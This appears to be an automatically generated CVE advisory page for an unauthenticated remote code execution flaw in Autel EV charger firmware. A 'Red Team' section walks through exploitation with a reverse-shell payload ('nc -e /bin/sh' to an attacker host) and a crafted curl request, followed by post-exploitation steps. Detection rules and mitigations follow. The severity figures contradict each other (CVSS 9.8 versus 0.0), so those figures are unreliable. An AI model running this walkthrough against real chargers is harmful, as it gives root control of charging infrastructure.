☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Autel logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-94
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-8984

CVE-2026-8984 Remote Code Execution in Autel
📅 PUBLISHED: 2026-07-21 21:08 UTC 🔄 UPDATED: 2026-10-09 05:41 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.91%
👁️
0.91% probability
22.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: China License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 9.8
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
9.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

Severity: Informational (CVSS 0.0)

This report details CVE-2026-8984, a critical vulnerability in the Autel Maxi Charger Single firmware (through V1.03.51) that allows unauthenticated remote code execution (RCE) with root privileges. The vulnerability resides in a service listening on TCP port 9002, where a crafted request to the /test endpoint triggers the device to download, extract, and execute attacker-controlled files.

Business Impact: The Autel Maxi Charger is an electric vehicle (EV) charging station. A successful exploit could allow an attacker to take full control of the charging unit, potentially disrupting EV charging infrastructure, manipulating billing data, or using the device as a pivot point into the broader energy or facility network. The likely attacker is a threat actor targeting critical infrastructure, such as a nation-state or hacktivist group, or a financially motivated actor seeking to disrupt operations or extort the operator.

Urgency Assessment: Despite the CVSS score of 0.0 and EPSS probability of 0.0%, the technical severity of this vulnerability is extremely high. The low EPSS score likely reflects the recent publication date (2026-07-21) and the niche nature of the affected device, not the exploitability of the flaw. The vulnerability is network-accessible, requires no authentication, and leads to full system compromise. Immediate action is required to identify and secure all affected devices.

Key Facts:

  • Vendor: Autel
  • Affected Software: Autel Maxi Charger Single firmware through V1.03.51
  • Attack Vector: Network-based, unauthenticated, via TCP port 9002
  • Patch Status: None available as of 2026-07-22. See vendor advisory for patched versions.
  • CISA KEV: Not listed as of 2026-07-22.
⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

Qualitative Severity Label: Informational

The CVSS base score of 0.0 is mathematically inconsistent with the vulnerability's technical description. The NVD description clearly states "unauthenticated remote code execution," which would typically result in a CVSS score of 9.8 (Critical). The 0.0 score is likely a placeholder or error in the NVD entry. For the purpose of this report, we will analyze the vulnerability based on its technical characteristics, which align with a Critical severity.

CVSS Vector Analysis (Hypothetical, based on technical description): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

  • AV:N (Network): The vulnerable service is listening on TCP port 9002, making it accessible over the network.
  • AC:L (Low): The attack complexity is low. The description states a "crafted request" is sufficient, implying no complex conditions or race conditions are required.
  • PR:N (None): No authentication is required to send the malicious request to the /test endpoint.
  • UI:N (None): No user interaction is required. The attack is fully automated.
  • S:U (Unchanged): A successful exploit compromises the vulnerable component (the charger), but does not necessarily change the scope of impact to other security boundaries.
  • C:H/I:H/A:H (High/High/High): The attacker gains root privileges, leading to complete compromise of confidentiality, integrity, and availability of the device.

EPSS Interpretation: The 0.0% EPSS probability indicates that as of the report date, there is no observed exploitation in the wild. This is common for newly published CVEs affecting niche industrial devices. It does not reflect the exploitability of the vulnerability.

Historical Comparison: This vulnerability is technically similar to CVE-2021-44228 (Log4Shell) in its ease of exploitation and impact, but it is specific to a different software stack and protocol. It is more directly comparable to other RCE vulnerabilities in IoT/OT devices, such as those found in network-attached storage (NAS) devices or IP cameras, where a single unauthenticated request leads to full system compromise.

Technical Deep Dive & Attack Mechanics

Step-by-Step Technical Explanation:

  1. Service Discovery: The Autel Maxi Charger runs a service that listens on TCP port 9002. This service is likely a custom HTTP or proprietary protocol handler for device management and diagnostics.
  2. Endpoint Identification: The service exposes a /test endpoint. This endpoint is likely intended for factory testing or diagnostics but is left exposed in production firmware.
  3. Crafted Request: An attacker sends a specially crafted HTTP request to http://<charger-ip>:9002/test. The request contains parameters that instruct the device to download a file from an attacker-controlled server.
  4. File Download and Extraction: The vulnerable service processes the request and uses a system utility (e.g., wget, curl, or a custom downloader) to fetch the file from the attacker's URL. The file is likely an archive (e.g., .tar.gz, .zip) that the service then extracts.
  5. Code Execution: After extraction, the service executes a script or binary from the extracted archive. Because the service runs with root privileges, the attacker's code also executes with root privileges.

Root Cause Analysis: The root cause is a failure to properly authenticate and sanitize input to the /test endpoint. The developer likely created this endpoint for internal testing and forgot to remove or secure it before shipping the firmware. The lack of input validation allows an attacker to inject arbitrary download URLs and file paths.

Attack Surface:

  • Port: TCP 9002
  • Protocol: HTTP (likely)
  • Endpoint: /test
  • Attack Vector: Unauthenticated network request

Pre-conditions:

  • Network access to the charger's TCP port 9002.
  • The charger must be running a vulnerable firmware version (through V1.03.51).

Attack Variants:

  • Direct Command Injection: The /test endpoint might also be vulnerable to command injection, allowing the attacker to execute arbitrary shell commands without needing to download a file.
  • Firmware Downgrade: An attacker could use this RCE to downgrade the firmware to an older, vulnerable version, maintaining persistence even after a patch is applied.

Why Standard Defenses May Fail:

  • Network Segmentation: If the chargers are on a flat network, an attacker who gains access to the corporate or facility network can directly target them.
  • Web Application Firewalls (WAFs): Standard WAFs may not be configured to inspect traffic on port 9002, as it is a non-standard port.
  • Antivirus/EDR: These endpoint protections are often not available on embedded Linux devices like EV chargers.

Vulnerable vs. Patched Code Analysis

No patched code is available for analysis. The following is a hypothetical reconstruction based on the vulnerability description.

Vulnerable Code (Hypothetical Python/Flask):

from flask import Flask, request
import subprocess
import os

app = Flask(__name__)

@app.route('/test', methods=['POST'])
def test_endpoint():
    url = request.form.get('url')
    if url:
        # VULNERABLE: No authentication, no input validation
        download_cmd = f"wget -O /tmp/update.tar.gz {url}"
        subprocess.call(download_cmd, shell=True)
        extract_cmd = "tar -xzf /tmp/update.tar.gz -C /tmp/update"
        subprocess.call(extract_cmd, shell=True)
        execute_cmd = "sh /tmp/update/install.sh"
        subprocess.call(execute_cmd, shell=True)
        return "Update initiated", 200
    return "Missing URL", 400

Patched Code (Hypothetical):

from flask import Flask, request
import subprocess
import os
import hmac

app = Flask(__name__)
SECRET_KEY = b'securely_generated_key'

@app.route('/test', methods=['POST'])
def test_endpoint():
    # FIX 1: Require authentication
    auth_token = request.headers.get('X-Auth-Token')
    if not auth_token or not hmac.compare_digest(auth_token, SECRET_KEY):
        return "Unauthorized", 401

    # FIX 2: Remove the download-and-execute functionality entirely
    # The /test endpoint should only perform read-only diagnostics
    return "Diagnostics OK", 200

Patch Analysis: The hypothetical patch removes the dangerous functionality and adds authentication. A proper patch would:

  1. Remove the /test endpoint entirely or restrict it to read-only, non-destructive operations.
  2. Implement strong authentication (e.g., API key, certificate) for any administrative endpoint.
  3. Sanitize all inputs and avoid using shell=True in subprocess calls.

Regression Considerations: If the /test endpoint is used by legitimate support tools, removing it could break those tools. The vendor should provide a secure alternative.

Timeline & Disclosure History

  • CVE Publication Date: 2026-07-21T21:08:49.622Z
  • Estimated Discovery: Unknown. The vulnerability may have been discovered through internal research, bug bounty program, or responsible disclosure.
  • Disclosure Process: The CVE was published by a CNA (CVE Numbering Authority). The vendor (Autel) was likely notified prior to publication.
  • Known Exploitation in the Wild: No known active exploitation as of 2026-07-22.
  • CISA KEV: Not listed as of 2026-07-22.

Threat Intelligence Context

Threat Actor Profile: This vulnerability is attractive to a wide range of threat actors:

  • Nation-State Actors: Could target EV charging infrastructure as part of a broader campaign against energy grids.
  • Hacktivists: Could disrupt charging stations for political protest.
  • Ransomware Operators: Could encrypt charger firmware and demand payment for restoration.
  • Script Kiddies: The ease of exploitation makes it accessible to less skilled attackers.

Attack Campaign Context: No specific campaigns are known to be exploiting this CVE as of the report date. However, the vulnerability class (unauthenticated RCE in IoT/OT devices) is a common vector for initial access in many campaigns.

Geographic Targeting: Likely global, wherever Autel Maxi Charger units are deployed.

Industry Verticals Most at Risk:

  • Electric Vehicle (EV) Charging Networks: Public and private charging stations.
  • Facilities Management: Commercial buildings, parking garages, and fleet depots.
  • Energy & Utilities: Grid-connected charging infrastructure.

Connection to Similar Vulnerabilities: This is similar to vulnerabilities found in other IoT devices, such as IP cameras, routers, and NAS devices, where debug or test endpoints are left exposed in production firmware.

Exploitation & Lab Setup

Red Team Section

Lab Setup:

  1. Hardware: An Autel Maxi Charger Single with firmware version V1.03.51 or earlier. (Alternatively, a firmware emulator like QEMU or Firmadyne could be used if the firmware is available.)
  2. Network: The charger and attacker machine must be on the same network segment.
  3. Attacker Machine: A Linux machine with tools like netcat, curl, and a web server (e.g., Python's http.server).

Prerequisites:

  • Vulnerable firmware version.
  • Network connectivity to TCP port 9002 on the charger.

Exploitation Walkthrough:

  1. Reconnaissance:

    nmap -p 9002 <charger-ip>
    

    Confirm the port is open.

  2. Set Up Malicious Server: Create a malicious payload (payload.sh):

    #!/bin/sh
    # Reverse shell to attacker machine
    nc -e /bin/sh <attacker-ip> 4444
    

    Create a tar archive:

    tar -czf exploit.tar.gz payload.sh
    

    Host the archive on a web server:

    python3 -m http.server 8080
    
  3. Trigger Exploit: Send a crafted request to the charger:

    curl -X POST http://<charger-ip>:9002/test \
      -d "url=http://<attacker-ip>:8080/exploit.tar.gz"
    
  4. Receive Shell: On the attacker machine, start a listener:

    nc -lvnp 4444
    

    If successful, a root shell will be received.

Expected Output: A root shell on the charger, allowing full control.

Post-Exploitation:

  • Persistence: Install a cron job or modify init scripts.
  • Lateral Movement: Scan the network for other vulnerable chargers or connected systems.
  • Data Exfiltration: Extract billing data, configuration files, or network credentials.

Blue Team Section

Detection:

  • Network Monitoring: Monitor for outbound connections from chargers to unknown IP addresses on ports 80, 443, or 8080.
  • Log Analysis: Check charger logs for requests to the /test endpoint from unexpected sources.
  • File Integrity Monitoring: Monitor for new files in /tmp/ or /var/ directories.

Log Entries Indicating Exploitation:

  • [INFO] Downloading update from http://<malicious-ip>/exploit.tar.gz
  • [INFO] Extracting update...
  • [INFO] Running install script...

Network Traffic Signatures:

  • HTTP POST requests to http://<charger-ip>:9002/test with a url parameter.
  • Outbound HTTP GET requests from the charger to an external IP for a .tar.gz file.

Endpoint Behavioral Indicators:

  • Unexpected processes running as root (e.g., reverse shell).
  • New cron jobs or systemd services.
  • Modified system binaries.

Indicators of Compromise (IOCs)

No confirmed IOCs available — the following patterns are illustrative of exploitation attempts:

Network IOCs:

  • Source IP: Any IP address sending POST requests to port 9002.
  • Destination IP: Any IP address that the charger contacts to download a payload.
  • Protocol: HTTP on port 9002 (inbound), HTTP/HTTPS on arbitrary ports (outbound).

HTTP Request Patterns:

  • POST /test HTTP/1.1
  • Host: <charger-ip>:9002
  • Content-Type: application/x-www-form-urlencoded
  • Body: url=http://<attacker-ip>/<filename>.tar.gz

File System Artifacts:

  • /tmp/update.tar.gz
  • /tmp/update/
  • /tmp/update/install.sh or similar payload files.

Process Execution Anomalies:

  • wget or curl processes initiated by the web service user.
  • tar processes extracting archives.
  • sh or bash processes executing scripts from /tmp/.

Log Entries:

  • [INFO] Downloading update from http://<malicious-ip>/exploit.tar.gz
  • [INFO] Running install script...

STIX-like IOC List:

Type Value Description
ipv4-addr [EXAMPLE — not a real IOC] Attacker IP hosting the malicious payload
url http://[EXAMPLE — not a real IOC]/exploit.tar.gz URL used to download the payload
file /tmp/update.tar.gz Downloaded archive on the charger
file /tmp/update/install.sh Extracted payload script
network-traffic TCP 9002 Vulnerable service port

Detection Engineering

YARA Rule

rule CVE-2026-8984_Autel_Exploitation {
    meta:
        description = "Detects exploitation of CVE-2026-8984 in Autel Maxi Charger firmware"
        author = "Valters IT Hub"
        date = "2026-07-22"
        reference = "https://www.valtersit.com/cve/cve-2026-8984"
        hash = "N/A"
    strings:
        $http_post = "POST /test HTTP/1.1"
        $url_param = "url=http://"
        $tar_gz = ".tar.gz"
        $wget_cmd = "wget -O /tmp/update.tar.gz"
        $tar_cmd = "tar -xzf /tmp/update.tar.gz"
        $sh_cmd = "sh /tmp/update/install.sh"
    condition:
        any of ($http_post, $url_param) or
        all of ($wget_cmd, $tar_cmd, $sh_cmd)
}

Sigma Rule (SIEM)

title: CVE-2026-8984 Autel Maxi Charger Exploitation Detection
id: ae24c9ab-f29f-4606-a75b-98ce945e9491
status: experimental
description: Detects exploitation attempts targeting CVE-2026-8984 in Autel Maxi Charger firmware by monitoring for HTTP POST requests to the /test endpoint with a url parameter.
author: Valters IT Hub
date: 2026-07-22
references:
    - https://www.valtersit.com/cve/cve-2026-8984
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/test'
        cs-uri-query|contains: 'url=http://'
    condition: selection
falsepositives:
    - Legitimate administrative activity from authorized support IPs using the /test endpoint for diagnostics.
level: high

Suricata IDS Rule

alert tcp any any -> any 9002 (msg:"CVE-2026-8984 Autel Maxi Charger RCE Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/test"; http_uri; content:"url=http://"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Elastic (EQL) Query

network where destination.port == 9002 and
  network.protocol == "http" and
  http.request.method == "POST" and
  http.request.uri == "/test" and
  http.request.body.content contains "url=http://"

Splunk SPL Query

index=web sourcetype=access_combined
  method=POST uri=/test
  | search form_data=*url=http://*
  | table _time, src_ip, dest_ip, uri, form_data

Wazuh Rule

<group name="autel,exploit,">
  <rule id="100001" level="12">
    <decoded>json</decoded>
    <field name="method">POST</field>
    <field name="url">/test</field>
    <field name="srcip" type="ip">!127.0.0.1</field>
    <description>CVE-2026-8984 - Autel Maxi Charger RCE attempt from $(srcip)</description>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Remediation & Mitigation

Immediate Actions (0-24 hours)

  1. Isolate Affected Devices: If possible, disconnect Autel Maxi Chargers from the network or place them behind a strict firewall that blocks all inbound traffic to port 9002 from untrusted networks.
  2. Firewall Rule: Implement a firewall rule to block inbound TCP traffic to port 9002 from all sources except authorized management IPs.
    iptables -A INPUT -p tcp --dport 9002 -s <trusted-management-network> -j ACCEPT
    iptables -A INPUT -p tcp --dport 9002 -j DROP
    
  3. WAF Rule: If a WAF is in front of the chargers, create a rule to block requests to /test with a url parameter.
  4. Monitor: Enable logging on the firewall and charger to detect any exploitation attempts.

Short-term (1-7 days)

  1. Patch: Apply the vendor's patch as soon as it becomes available. Check the Autel security portal regularly.
  2. Configuration Hardening: Disable the /test endpoint if a configuration option exists. Change default credentials for any administrative interfaces.
  3. Vulnerability Scanning: Use a vulnerability scanner to identify all Autel Maxi Chargers on the network and confirm their firmware version.
    nmap -p 9002 --script http-title <subnet>
    
  4. Implement Network Segmentation: Ensure EV chargers are on a separate VLAN with strict access controls to the corporate network.

Long-term

  1. Architecture Changes: Move to a zero-trust network architecture where devices cannot initiate outbound connections to the internet.
  2. Security Control Improvements: Implement a robust patch management process for all IoT/OT devices.
  3. Developer Training: Train developers on secure coding practices, specifically around input validation and the dangers of leaving debug endpoints in production.

Validation

To confirm the patch has been applied:

  1. Check the firmware version on the charger's management interface.
  2. Attempt to send a test request to the /test endpoint. If the patch is applied, the request should be rejected (e.g., 401 Unauthorized) or the endpoint should not exist (404 Not Found).
    curl -X POST http://<charger-ip>:9002/test -d "url=http://example.com/test.tar.gz"
    

References & Resources


Report generated by Valters IT Hub Neural Engine v25 | 2026-07-22 | https://www.valtersit.com/cve/cve-2026-8984

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-8984/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.